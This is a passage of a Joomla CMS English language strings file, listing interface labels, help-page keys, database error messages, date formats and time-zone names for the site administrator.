JGLOBAL_NUM_INTRO_ARTICLES_LABEL="# Intro Articles" JGLOBAL_NUM_LEADING_ARTICLES_DESC="Number of leading articles to display as full-width at the beginning of the page." JGLOBAL_NUM_LEADING_ARTICLES_LABEL="# Leading Articles" JGLOBAL_NUM_LINKS_DESC="Number of articles to display as links, normally below the Intro Articles." JGLOBAL_NUM_LINKS_LABEL="# Links" JGLOBAL_NUMBER_CATEGORY_ITEMS_DESC="If Show, the number of articles in the category will show." JGLOBAL_NUMBER_CATEGORY_ITEMS_LABEL="Show Article Count" JGLOBAL_NUMBER_ITEMS_LIST_DESC="Default number of articles to list on a page." JGLOBAL_NUMBER_ITEMS_LIST_LABEL="# Articles to List" JGLOBAL_OLDEST_FIRST="Oldest first" JGLOBAL_ORDERING="Article Manager Order" JGLOBAL_ORDERING_DATE_DESC="If articles are ordered by date, which date to use." JGLOBAL_ORDERING_DATE_LABEL="Date for Ordering" JGLOBAL_PAGINATION_DESC="Show or hide Pagination support. Pagination provides page links at the bottom of the page that allow the User to navigate to additional pages. These are needed if the Information will not fit on one page." JGLOBAL_PAGINATION_LABEL="Pagination" JGLOBAL_PAGINATION_RESULTS_DESC="Show or hide pagination results information, for example, "Page 1 of 4"." JGLOBAL_PAGINATION_RESULTS_LABEL="Pagination Results" JGLOBAL_PASSWORD="Password" JGLOBAL_PERMISSIONS_ANCHOR="Set Permissions" JGLOBAL_PREVIEW="Preview" JGLOBAL_RECORD_NUMBER="Record ID: %d" JGLOBAL_REMEMBER_ME="Remember Me" JGLOBAL_RIGHT="Right" JGLOBAL_ROOT="Root" JGLOBAL_ROOT_PARENT="- No parent -" JGLOBAL_SELECT_ALLOW_DENY_GROUP="Change %s permission for %s group." JGLOBAL_SELECTION_INVERT="Toggle Selection" JGLOBAL_SELECTION_ALL="Select All" JGLOBAL_SELECTION_NONE="Clear Selection" JGLOBAL_SHOW_AUTHOR_DESC="If set to Show, the Name of the article's Author will be displayed. This is a global setting but can be changed at the Category, Menu and Article levels." JGLOBAL_SHOW_AUTHOR_LABEL="Show Author" JGLOBAL_SHOW_CATEGORY_DESC="If set to Show, the title of the article’s category will show." JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC="Show or hide the description of the selected Category." JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL="Category Description" JGLOBAL_SHOW_CATEGORY_IMAGE_DESC="Show or hide the image of the selected Category." JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL="Category Image" JGLOBAL_SHOW_CATEGORY_LABEL="Show Category" JGLOBAL_SHOW_CATEGORY_TITLE="Category Title" JGLOBAL_SHOW_CATEGORY_TITLE_DESC="If Show, the Category Title will show as a subheading on the page. The subheading is usually displayed inside the "H2" tag." JGLOBAL_SHOW_CREATE_DATE_DESC="If set to Show, the date and time an Article was created will be displayed. This a global setting but can be changed at Menu and Article levels." JGLOBAL_SHOW_CREATE_DATE_LABEL="Show Create Date" JGLOBAL_SHOW_DATE_DESC="Whether to show a date column in the list of articles. Select Hide to hide the date, or select which date you wish to show." JGLOBAL_SHOW_DATE_LABEL="Show Date" JGLOBAL_SHOW_EMAIL_ICON_DESC="Show/Hide the email icon. This allows you to email an article." JGLOBAL_SHOW_EMAIL_ICON_LABEL="Show Email Icon" JGLOBAL_SHOW_EMPTY_CATEGORIES_DESC="If Show, empty categories will display. A category is only empty - if it has no items or subcategories." JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL="Empty Categories" JGLOBAL_SHOW_FEED_LINK_DESC="Show or hide an RSS Feed Link. (A Feed Link will show up as a feed icon in the address bar of most modern browsers)." JGLOBAL_SHOW_FEED_LINK_LABEL="Show Feed Link" JGLOBAL_SHOW_HEADINGS_DESC="Show or Hide the headings in list layouts." JGLOBAL_SHOW_HEADINGS_LABEL="Table Headings" JGLOBAL_SHOW_HITS_DESC="If set to Show, the number of Hits on a particular Article will be displayed. This is a global setting but can be changed at the Category, Menu and Article levels." JGLOBAL_SHOW_HITS_LABEL="Show Hits" JGLOBAL_SHOW_ICONS_DESC="Print and email will utilise Icons or Text" JGLOBAL_SHOW_ICONS_LABEL="Show Icons" JGLOBAL_SHOW_INTRO_DESC="If set to Show, the Intro Text of the article will show when you drill down to the article. If set to Hide, only the part of the article after the "Read More" break will show." JGLOBAL_SHOW_INTRO_LABEL="Show Intro Text" JGLOBAL_SHOW_MODIFY_DATE_DESC="If set to Show, the date and time an Article was last modified will be displayed. This is a global setting but can be changed at the Category, Menu and Article levels." JGLOBAL_SHOW_MODIFY_DATE_LABEL="Show Modify Date" JGLOBAL_SHOW_NAVIGATION_DESC="If set to Show, shows a navigation link (Next, Previous) between articles." JGLOBAL_SHOW_NAVIGATION_LABEL="Show Navigation" JGLOBAL_SHOW_PARENT_CATEGORY_DESC="If set to Show, the title of the article’s parent category will show." JGLOBAL_SHOW_PARENT_CATEGORY_LABEL="Show Parent" JGLOBAL_SHOW_PRINT_ICON_DESC="Show/Hide the Item Print button." JGLOBAL_SHOW_PRINT_ICON_LABEL="Show Print Icon" JGLOBAL_SHOW_PUBLISH_DATE_DESC="If set to Show, the date and time an Article was published will be displayed. This is a global setting but can be changed at the Category, Menu and Article levels." JGLOBAL_SHOW_PUBLISH_DATE_LABEL="Show Publish Date" JGLOBAL_SHOW_READMORE_DESC="If set to Show, the Read more... Link will show if Main text has been provided for the Article." JGLOBAL_SHOW_READMORE_LABEL="Show "Read More"" JGLOBAL_SHOW_READMORE_TITLE_DESC="If set to show the Title of the Article will be shown on the Read More button" JGLOBAL_SHOW_READMORE_TITLE_LABEL="Show Title with Read More" JGLOBAL_SHOW_READMORE_LIMIT_DESC="Set a limit of number of characters in Article Title to show in Read More button" JGLOBAL_SHOW_READMORE_LIMIT_LABEL="Read More Limit" JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC="Show/Hide the subcategories descriptions." JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL="Subcategories Descriptions" JGLOBAL_SHOW_SUBCATEGORY_CONTENT_LABEL="Include Subcategories" JGLOBAL_SHOW_SUBCATEGORY_CONTENT_DESC="If None, only articles from this category will show. If a number, all articles from the category and the subcategories up to and including that level will show in the blog." JGLOBAL_SHOW_TITLE_DESC="If set to Show, the article title is shown." JGLOBAL_SHOW_TITLE_LABEL="Show Title" JGLOBAL_SHOW_UNAUTH_LINKS_DESC="If set to Yes, links to registered content will be shown even if you are not logged-in. You will need to log in to access the full item." JGLOBAL_SHOW_UNAUTH_LINKS_LABEL="Show Unauthorised Links" JGLOBAL_SHOW_VOTE_DESC="If set to show, a voting system will be enabled for Articles" JGLOBAL_SHOW_VOTE_LABEL="Show Voting" JGLOBAL_SINGLE_LEVEL="Single Level" JGLOBAL_START_PUBLISH_AFTER_FINISH="Item start publishing date must be before finish publishing date" JGLOBAL_SUBHEADING_DESC="Optional text to show as a subheading." JGLOBAL_SUBHEADING_LABEL="Page Subheading" JGLOBAL_SUBMENU_CHECKIN="Checkin" JGLOBAL_SUBMENU_CLEAR_CACHE="Clear Cache" JGLOBAL_SUBMENU_PURGE_EXPIRED_CACHE="Purge Expired Cache" JGLOBAL_SUBSLIDER_BLOG_EXTENDED_LABEL="The option below gives the ability to include articles from subcategories in the Blog layout." JGLOBAL_SUBSLIDER_BLOG_LAYOUT_LABEL="If a field is left blank, global settings will be used." JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL="These options are also used when you click
            on one of the category links, on the first page and/or thereafter,
            unless they are changed for a specific menu item." JGLOBAL_TITLE="Title" JGLOBAL_TITLE_ALPHABETICAL="Title Alphabetical" JGLOBAL_TITLE_REVERSE_ALPHABETICAL="Title Reverse Alphabetical" JGLOBAL_TOP="Top" JGLOBAL_TPL_CPANEL_LINK_TEXT="Return to Control Panel" JGLOBAL_USE_GLOBAL="Use Global" JGLOBAL_USERNAME="User Name" JGLOBAL_VALIDATION_FORM_FAILED="Invalid form" JGLOBAL_VIEW_SITE="View Site" JGLOBAL_WARNJAVASCRIPT="Warning! JavaScript must be enabled for proper operation of the Administrator backend." JGLOBAL_WIDTH="Width" JGLOBAL_CHECK_ALL="Check All" JGRID_HEADING_ACCESS="Access" JGRID_HEADING_CREATED_BY="Created by" JGRID_HEADING_ID="ID" JGRID_HEADING_LANGUAGE="Language" JGRID_HEADING_MENU_ITEM_TYPE="Menu Item Type" JGRID_HEADING_ORDERING="Ordering" JGRID_HEADING_ROW_NUMBER="#" JGRID_CHECKBOX_ROW_N="Checkbox for row %d" JHELP_COMPONENTS_BANNERS_BANNERS="Components_Banners_Banners" JHELP_COMPONENTS_BANNERS_BANNERS_EDIT="Components_Banners_Banners_Edit" JHELP_COMPONENTS_BANNERS_CATEGORIES="Components_Banners_Categories" JHELP_COMPONENTS_BANNERS_CATEGORY_ADD="Components_Banners_Categories_Edit" JHELP_COMPONENTS_BANNERS_CATEGORY_EDIT="Components_Banners_Categories_Edit" JHELP_COMPONENTS_BANNERS_CLIENTS="Components_Banners_Clients" JHELP_COMPONENTS_BANNERS_CLIENTS_EDIT="Components_Banners_Clients_Edit" JHELP_COMPONENTS_BANNERS_TRACKS="Components_Banners_Tracks" JHELP_COMPONENTS_CONTACT_CATEGORIES="Components_Contacts_Categories" JHELP_COMPONENTS_CONTACT_CATEGORY_ADD="Components_Contacts_Categories_Edit" JHELP_COMPONENTS_CONTACT_CATEGORY_EDIT="Components_Contacts_Categories_Edit" JHELP_COMPONENTS_CONTACTS_CONTACTS="Components_Contacts_Contacts" JHELP_COMPONENTS_CONTACTS_CONTACTS_EDIT="Components_Contacts_Contacts_Edit" JHELP_COMPONENTS_CONTENT_CATEGORIES="Components_Content_Categories" JHELP_COMPONENTS_CONTENT_CATEGORY_ADD="Components_Content_Categories_Edit" JHELP_COMPONENTS_CONTENT_CATEGORY_EDIT="Components_Content_Categories_Edit" JHELP_COMPONENTS_FINDER_MANAGE_INDEXED_CONTENT="Components_Finder_Manage_Indexed_Content" JHELP_COMPONENTS_FINDER_MANAGE_CONTENT_MAPS="Components_Finder_Manage_Content_Maps" JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS="Components_Finder_Manage_Search_Filters" JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS_EDIT="Components_Finder_Manage_Search_Filters_Edit" JHELP_COMPONENTS_MESSAGING_INBOX="Components_Messaging_Inbox" JHELP_COMPONENTS_MESSAGING_READ="Components_Messaging_Read" JHELP_COMPONENTS_MESSAGING_WRITE="Components_Messaging_Write" JHELP_COMPONENTS_NEWSFEEDS_CATEGORIES="Components_Newsfeeds_Categories" JHELP_COMPONENTS_NEWSFEEDS_CATEGORY_ADD="Components_Newsfeeds_Categories_Edit" JHELP_COMPONENTS_NEWSFEEDS_CATEGORY_EDIT="Components_Newsfeeds_Categories_Edit" JHELP_COMPONENTS_NEWSFEEDS_FEEDS="Components_Newsfeeds_Feeds" JHELP_COMPONENTS_NEWSFEEDS_FEEDS_EDIT="Components_Newsfeeds_Feeds_Edit" JHELP_COMPONENTS_REDIRECT_MANAGER="Components_Redirect_Manager" JHELP_COMPONENTS_REDIRECT_MANAGER_EDIT="Components_Redirect_Manager_Edit" JHELP_COMPONENTS_SEARCH="Components_Search" JHELP_COMPONENTS_WEBLINKS_CATEGORIES="Components_Weblinks_Categories" JHELP_COMPONENTS_WEBLINKS_CATEGORY_ADD="Components_Weblinks_Categories_Edit" JHELP_COMPONENTS_WEBLINKS_CATEGORY_EDIT="Components_Weblinks_Categories_Edit" JHELP_COMPONENTS_WEBLINKS_LINKS="Components_Weblinks_Links" JHELP_COMPONENTS_WEBLINKS_LINKS_EDIT="Components_Weblinks_Links_Edit" JHELP_CONTENT_ARTICLE_MANAGER="Content_Article_Manager" JHELP_CONTENT_ARTICLE_MANAGER_EDIT="Content_Article_Manager_Edit" JHELP_CONTENT_FEATURED_ARTICLES="Content_Featured_Articles" JHELP_CONTENT_MEDIA_MANAGER="Content_Media_Manager" JHELP_EXTENSIONS_EXTENSION_MANAGER_DATABASE="Extensions_Extension_Manager_Database" JHELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER="Extensions_Extension_Manager_Discover" JHELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL="Extensions_Extension_Manager_Install" JHELP_EXTENSIONS_EXTENSION_MANAGER_LANGUAGES="Extensions_Extension_Manager_languages" JHELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE="Extensions_Extension_Manager_Manage" JHELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE="Extensions_Extension_Manager_Update" JHELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS="Extensions_Extension_Manager_Warnings" JHELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT="Extensions_Language_Manager_Content" JHELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT="Extensions_Language_Manager_Edit" JHELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED="Extensions_Language_Manager_Installed" JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES="Extensions_Language_Manager_Overrides" JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES_EDIT="Extensions_Language_Manager_Overrides_Edit" JHELP_EXTENSIONS_MODULE_MANAGER="Extensions_Module_Manager" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_CUSTOM="Extensions_Module_Manager_Admin_Custom" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_FEED="Extensions_Module_Manager_Admin_Feed" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LATEST="Extensions_Module_Manager_Admin_Latest" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LOGGED="Extensions_Module_Manager_Admin_Logged" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LOGIN="Extensions_Module_Manager_Admin_Login" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_MENU="Extensions_Module_Manager_Admin_Menu" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_MULTILANG="Extensions_Module_Manager_Admin_Multilang" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_ONLINE="Extensions_Module_Manager_Admin_Online" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_POPULAR="Extensions_Module_Manager_Admin_Popular" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_QUICKICON="Extensions_Module_Manager_Admin_Quickicon" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_STATUS="Extensions_Module_Manager_Admin_Status" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_SUBMENU="Extensions_Module_Manager_Admin_Submenu" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_TITLE="Extensions_Module_Manager_Admin_Title" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_TOOLBAR="Extensions_Module_Manager_Admin_Toolbar" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_UNREAD="Extensions_Module_Manager_Admin_Unread" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_ARCHIVE="Extensions_Module_Manager_Articles_Archive" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORIES="Extensions_Module_Manager_Articles_Categories" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORY="Extensions_Module_Manager_Articles_Category" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_NEWSFLASH="Extensions_Module_Manager_Articles_Newsflash" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_RELATED="Extensions_Module_Manager_Articles_Related" JHELP_EXTENSIONS_MODULE_MANAGER_BANNERS="Extensions_Module_Manager_Banners" JHELP_EXTENSIONS_MODULE_MANAGER_BREADCRUMBS="Extensions_Module_Manager_Breadcrumbs" JHELP_EXTENSIONS_MODULE_MANAGER_CUSTOM_HTML="Extensions_Module_Manager_Custom_HTML" JHELP_EXTENSIONS_MODULE_MANAGER_EDIT="Extensions_Module_Manager_Edit" JHELP_EXTENSIONS_MODULE_MANAGER_FEED_DISPLAY="Extensions_Module_Manager_Feed_Display" JHELP_EXTENSIONS_MODULE_MANAGER_FOOTER="Extensions_Module_Manager_Footer" JHELP_EXTENSIONS_MODULE_MANAGER_LANGUAGE_SWITCHER="Extensions_Module_Manager_Language_Switcher" JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_NEWS="Extensions_Module_Manager_Latest_News" JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_USERS="Extensions_Module_Manager_Latest_Users" JHELP_EXTENSIONS_MODULE_MANAGER_LOGIN="Extensions_Module_Manager_Login" JHELP_EXTENSIONS_MODULE_MANAGER_MENU="Extensions_Module_Manager_Menu" JHELP_EXTENSIONS_MODULE_MANAGER_MOST_READ="Extensions_Module_Manager_Most_Read" JHELP_EXTENSIONS_MODULE_MANAGER_RANDOM_IMAGE="Extensions_Module_Manager_Random_Image" JHELP_EXTENSIONS_MODULE_MANAGER_SEARCH="Extensions_Module_Manager_Search" JHELP_EXTENSIONS_MODULE_MANAGER_SMART_SEARCH="Extensions_Module_Manager_Smart_Search" JHELP_EXTENSIONS_MODULE_MANAGER_STATISTICS="Extensions_Module_Manager_Statistics" JHELP_EXTENSIONS_MODULE_MANAGER_SYNDICATION_FEEDS="Extensions_Module_Manager_Syndication_Feeds" JHELP_EXTENSIONS_MODULE_MANAGER_WEBLINKS="Extensions_Module_Manager_Weblinks" JHELP_EXTENSIONS_MODULE_MANAGER_WHO_ONLINE="Extensions_Module_Manager_Who_Online" JHELP_EXTENSIONS_MODULE_MANAGER_WRAPPER="Extensions_Module_Manager_Wrapper" JHELP_EXTENSIONS_PLUGIN_MANAGER="Extensions_Plugin_Manager" JHELP_EXTENSIONS_PLUGIN_MANAGER_EDIT="Extensions_Plugin_Manager_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES="Extensions_Template_Manager_Styles" JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES_EDIT="Extensions_Template_Manager_Styles_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES="Extensions_Template_Manager_Templates" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT="Extensions_Template_Manager_Templates_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT_SOURCE="Extensions_Template_Manager_Templates_Edit_Source" JHELP_GLOSSARY="Glossary" JHELP_MENUS_MENU_ITEM_ARTICLE_ARCHIVED="Menus_Menu_Item_Article_Archived" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORIES="Menus_Menu_Item_Article_Categories" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_BLOG="Menus_Menu_Item_Article_Category_Blog" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_LIST="Menus_Menu_Item_Article_Category_List" JHELP_MENUS_MENU_ITEM_ARTICLE_CREATE="Menus_Menu_Item_Article_Create" JHELP_MENUS_MENU_ITEM_ARTICLE_FEATURED="Menus_Menu_Item_Article_Featured" JHELP_MENUS_MENU_ITEM_ARTICLE_SINGLE_ARTICLE="Menus_Menu_Item_Article_Single_Article" JHELP_MENUS_MENU_ITEM_CONTACT_CATEGORIES="Menus_Menu_Item_Contact_Categories" JHELP_MENUS_MENU_ITEM_CONTACT_CATEGORY="Menus_Menu_Item_Contact_Category" JHELP_MENUS_MENU_ITEM_CONTACT_FEATURED="Menus_Menu_Item_Contact_Featured" JHELP_MENUS_MENU_ITEM_CONTACT_SINGLE_CONTACT="Menus_Menu_Item_Contact_Single_Contact" JHELP_MENUS_MENU_ITEM_EXTERNAL_URL="Menus_Menu_Item_External_URL" JHELP_MENUS_MENU_ITEM_FINDER_SEARCH="Menus_Menu_Item_Finder_Search" JHELP_MENUS_MENU_ITEM_MANAGER="Menus_Menu_Item_Manager" JHELP_MENUS_MENU_ITEM_MANAGER_EDIT="Menus_Menu_Item_Manager_Edit" JHELP_MENUS_MENU_ITEM_MENU_ITEM_ALIAS="Menus_Menu_Item_Menu_Item_Alias" JHELP_MENUS_MENU_ITEM_NEWSFEED_CATEGORIES="Menus_Menu_Item_Newsfeed_Categories" JHELP_MENUS_MENU_ITEM_NEWSFEED_CATEGORY="Menus_Menu_Item_Newsfeed_Category" JHELP_MENUS_MENU_ITEM_NEWSFEED_SINGLE_NEWSFEED="Menus_Menu_Item_Newsfeed_Single_Newsfeed" JHELP_MENUS_MENU_ITEM_SEARCH_RESULTS="Menus_Menu_Item_Search_Results" JHELP_MENUS_MENU_ITEM_TEXT_SEPARATOR="Menus_Menu_Item_Text_Separator" JHELP_MENUS_MENU_ITEM_USER_LOGIN="Menus_Menu_Item_User_Login" JHELP_MENUS_MENU_ITEM_USER_PASSWORD_RESET="Menus_Menu_Item_User_Password_Reset" JHELP_MENUS_MENU_ITEM_USER_PROFILE="Menus_Menu_Item_User_Profile" JHELP_MENUS_MENU_ITEM_USER_PROFILE_EDIT="Menus_Menu_Item_User_Profile_Edit" JHELP_MENUS_MENU_ITEM_USER_REGISTRATION="Menus_Menu_Item_User_Registration" JHELP_MENUS_MENU_ITEM_USER_REMINDER="Menus_Menu_Item_User_Reminder" JHELP_MENUS_MENU_ITEM_WEBLINK_CATEGORIES="Menus_Menu_Item_Weblink_Categories" JHELP_MENUS_MENU_ITEM_WEBLINK_CATEGORY="Menus_Menu_Item_Weblink_Category" JHELP_MENUS_MENU_ITEM_WEBLINK_SUBMIT="Menus_Menu_Item_Weblink_Submit" JHELP_MENUS_MENU_ITEM_WRAPPER="Menus_Menu_Item_Wrapper" JHELP_MENUS_MENU_MANAGER="Menus_Menu_Manager" JHELP_MENUS_MENU_MANAGER_EDIT="Menus_Menu_Manager_Edit" JHELP_SITE_GLOBAL_CONFIGURATION="Site_Global_Configuration" JHELP_SITE_MAINTENANCE_CLEAR_CACHE="Site_Maintenance_Clear_Cache" JHELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN="Site_Maintenance_Global_Check-in" JHELP_SITE_MAINTENANCE_PURGE_EXPIRED_CACHE="Site_Maintenance_Purge_Expired_Cache" JHELP_SITE_SYSTEM_INFORMATION="Site_System_Information" JHELP_START_HERE="Start_Here" JHELP_USERS_ACCESS_LEVELS="Users_Access_Levels" JHELP_USERS_ACCESS_LEVELS_EDIT="Users_Access_Levels_Edit" JHELP_USERS_DEBUG_USERS="Users_Debug_Users" JHELP_USERS_GROUPS="Users_Groups" JHELP_USERS_GROUPS_EDIT="Users_Groups_Edit" JHELP_USERS_MASS_MAIL_USERS="Users_Mass_Mail_Users" JHELP_USERS_USER_MANAGER="Users_User_Manager" JHELP_USERS_USER_MANAGER_EDIT="Users_User_Manager_Edit" JHELP_USERS_USER_NOTES="Users_User_Notes" JHELP_USERS_USER_NOTES_EDIT="Users_User_Notes_Edit" ; if there is an error connecting database before initialization, en-GB.lib_joomla.ini can't be loaded ; we therefore have to load the strings from en-GB.ini JLIB_DATABASE_ERROR_ADAPTER_MYSQL="The MySQL adapter 'mysql' is not available." JLIB_DATABASE_ERROR_ADAPTER_MYSQLI="The MySQL adapter 'mysqli' is not available." JLIB_DATABASE_ERROR_CONNECT_DATABASE="Unable to connect to the Database: %s" JLIB_DATABASE_ERROR_CONNECT_MYSQL="Could not connect to MySQL." JLIB_DATABASE_ERROR_DATABASE_CONNECT="Could not connect to database" JLIB_DATABASE_ERROR_LOAD_DATABASE_DRIVER="Unable to load Database Driver: %s" JLIB_ERROR_INFINITE_LOOP="Infinite loop detected in JError" JOPTION_ACCESS_SHOW_ALL_ACCESS="Show All Access" JOPTION_ACCESS_SHOW_ALL_GROUPS="Show All Groups" JOPTION_ACCESS_SHOW_ALL_LEVELS="Show All Access Levels" JOPTION_ALL_CATEGORIES="- All Categories -" JOPTION_ANY_CATEGORY="Any Category" JOPTION_ANY="Any" JOPTION_DO_NOT_USE="- None Selected -" JOPTION_FROM_COMPONENT="---From Component---" JOPTION_FROM_MODULE="---From Module---" JOPTION_FROM_TEMPLATE="---From %s Template---" JOPTION_FROM_STANDARD="---From Global Options---" JOPTION_MENUS="Menus" JOPTION_NO_USER="- No User -" JOPTION_OPTIONAL="Optional" JOPTION_ORDER_FIRST="Order First" JOPTION_ORDER_LAST="Order Last" JOPTION_REQUIRED="Required" JOPTION_SELECT_ACCESS="- Select Access -" JOPTION_SELECT_AUTHOR_ALIAS="- Select Author Alias -" JOPTION_SELECT_AUTHOR_ALIASES="- Select Author Aliases -" JOPTION_SELECT_AUTHOR="- Select Author -" JOPTION_SELECT_AUTHORS="- Select Authors -" JOPTION_SELECT_CATEGORY="- Select Category -" JOPTION_SELECT_EDITOR="- Select Editor -" JOPTION_SELECT_IMAGE="- Select Image -" JOPTION_SELECT_LANGUAGE="- Select Language -" JOPTION_SELECT_MENU="- Select Menu -" JOPTION_SELECT_MENU_ITEM="- Select Menu Item -" JOPTION_SELECT_PUBLISHED="- Select Status -" JOPTION_SELECT_TEMPLATE="- Select Template -" JOPTION_SELECT_MAX_LEVELS="- Select Max Levels -" JOPTION_UNASSIGNED="Unassigned" JOPTION_USE_DEFAULT_MODULE_SETTING="- Use Default Module Setting -" JOPTION_USE_DEFAULT="- Use Default -" JOPTION_USE_MENU_REQUEST_SETTING="- Use Menu or Request Setting -" JSEARCH_FILTER_LABEL="Filter:" JSEARCH_FILTER_CLEAR="Clear" JSEARCH_FILTER_SUBMIT="Search" JSEARCH_FILTER="Search" JSEARCH_TITLE="Search %s" JSEARCH_RESET="Reset" JTOOLBAR_APPLY="Save" JTOOLBAR_ARCHIVE="Archive" JTOOLBAR_ASSIGN="Assign" JTOOLBAR_BACK="Back" JTOOLBAR_CANCEL="Cancel" JTOOLBAR_CHECKIN="Check In" JTOOLBAR_CLOSE="Close" JTOOLBAR_DEFAULT="Default" JTOOLBAR_DELETE="Delete" JTOOLBAR_DISABLE="Disable" JTOOLBAR_DUPLICATE="Duplicate" JTOOLBAR_EDIT="Edit" JTOOLBAR_EDIT_CSS="Edit CSS" JTOOLBAR_EDIT_HTML="Edit HTML" JTOOLBAR_EMPTY_TRASH="Empty trash" JTOOLBAR_ENABLE="Enable" JTOOLBAR_EXPORT="Export" JTOOLBAR_HELP="Help" JTOOLBAR_INSTALL="Install" JTOOLBAR_NEW="New" JTOOLBAR_OPTIONS="Options" JTOOLBAR_PUBLISH="Publish" JTOOLBAR_PURGE_CACHE="Purge Cache" JTOOLBAR_REBUILD="Rebuild" JTOOLBAR_REFRESH_CACHE="Refresh Cache" JTOOLBAR_REMOVE="Remove" JTOOLBAR_SAVE="Save & Close" JTOOLBAR_SAVE_AND_NEW="Save & New" JTOOLBAR_SAVE_AS_COPY="Save as Copy" JTOOLBAR_UNARCHIVE="Unarchive" JTOOLBAR_UNINSTALL="Uninstall" JTOOLBAR_UNPUBLISH="Unpublish" JTOOLBAR_UPLOAD="Upload" JTOOLBAR_TRASH="Trash" JTOOLBAR_REBUILD_SUCCESS="Successfully rebuilt" JWARNING_PUBLISH_MUST_SELECT="You must select at least one item to publish." JWARNING_ARCHIVE_MUST_SELECT="You must select at least one item to archive." JWARNING_UNPUBLISH_MUST_SELECT="You must select at least one item to unpublish." JWARNING_TRASH_MUST_SELECT="You must select at least one item to remove." JWARNING_DELETE_MUST_SELECT="You must select at least one item to permanently delete." JWARNING_REMOVE_ROOT_USER="You are logged-in using the emergency Root User setting in configuration.php.
            You should remove $root_user from configuration.php as soon as you have restored control to your site to avoid future security breaches.
            Click here to try to do it automatically." ; Date format DATE_FORMAT_LC="l, d F Y" DATE_FORMAT_LC1="l, d F Y" DATE_FORMAT_LC2="l, d F Y H:i" DATE_FORMAT_LC3="d F Y" DATE_FORMAT_LC4="Y-m-d" DATE_FORMAT_JS1="y-m-d" ; Months JANUARY_SHORT="Jan" JANUARY="January" FEBRUARY_SHORT="Feb" FEBRUARY="February" MARCH_SHORT="Mar" MARCH="March" APRIL_SHORT="Apr" APRIL="April" MAY_SHORT="May" MAY="May" JUNE_SHORT="Jun" JUNE="June" JULY_SHORT="Jul" JULY="July" AUGUST_SHORT="Aug" AUGUST="August" SEPTEMBER_SHORT="Sep" SEPTEMBER="September" OCTOBER_SHORT="Oct" OCTOBER="October" NOVEMBER_SHORT="Nov" NOVEMBER="November" DECEMBER_SHORT="Dec" DECEMBER="December" ; Days of the Week SAT="Sat" SATURDAY="Saturday" SUN="Sun" SUNDAY="Sunday" MON="Mon" MONDAY="Monday" TUE="Tue" TUESDAY="Tuesday" WED="Wed" WEDNESDAY="Wednesday" THU="Thu" THURSDAY="Thursday" FRI="Fri" FRIDAY="Friday" ; Time Zones TIME_ZONE="Time Zone" UTC__12_00__INTERNATIONAL_DATE_LINE_WEST="(UTC -12:00) International Date Line West" UTC__11_00__MIDWAY_ISLAND__SAMOA="(UTC -11:00) Midway Island, Samoa" UTC__10_00__HAWAII="(UTC -10:00) Hawaii" UTC__09_30__TAIOHAE__MARQUESAS_ISLANDS="(UTC -09:30) Taiohae, Marquesas Islands" UTC__09_00__ALASKA="(UTC -09:00) Alaska" UTC__08_00__PACIFIC_TIME__US__AMP__CANADA_="(UTC -08:00) Pacific Time (US & Canada)" UTC__07_00__MOUNTAIN_TIME__US__AMP__CANADA_="(UTC -07:00) Mountain Time (US & Canada)" UTC__06_00__CENTRAL_TIME__US__AMP__CANADA___MEXICO_CITY="(UTC -06:00) Central Time (US & Canada), Mexico City" UTC__05_00__EASTERN_TIME__US__AMP__CANADA___BOGOTA__LIMA="(UTC -05:00) Eastern Time (US & Canada), Bogota, Lima" UTC__04_30__VENEZUELA="(UTC -04:30) Venezuela" UTC__04_00__ATLANTIC_TIME__CANADA___CARACAS__LA_PAZ="(UTC -04:00) Atlantic Time (Canada), Caracas, La Paz" 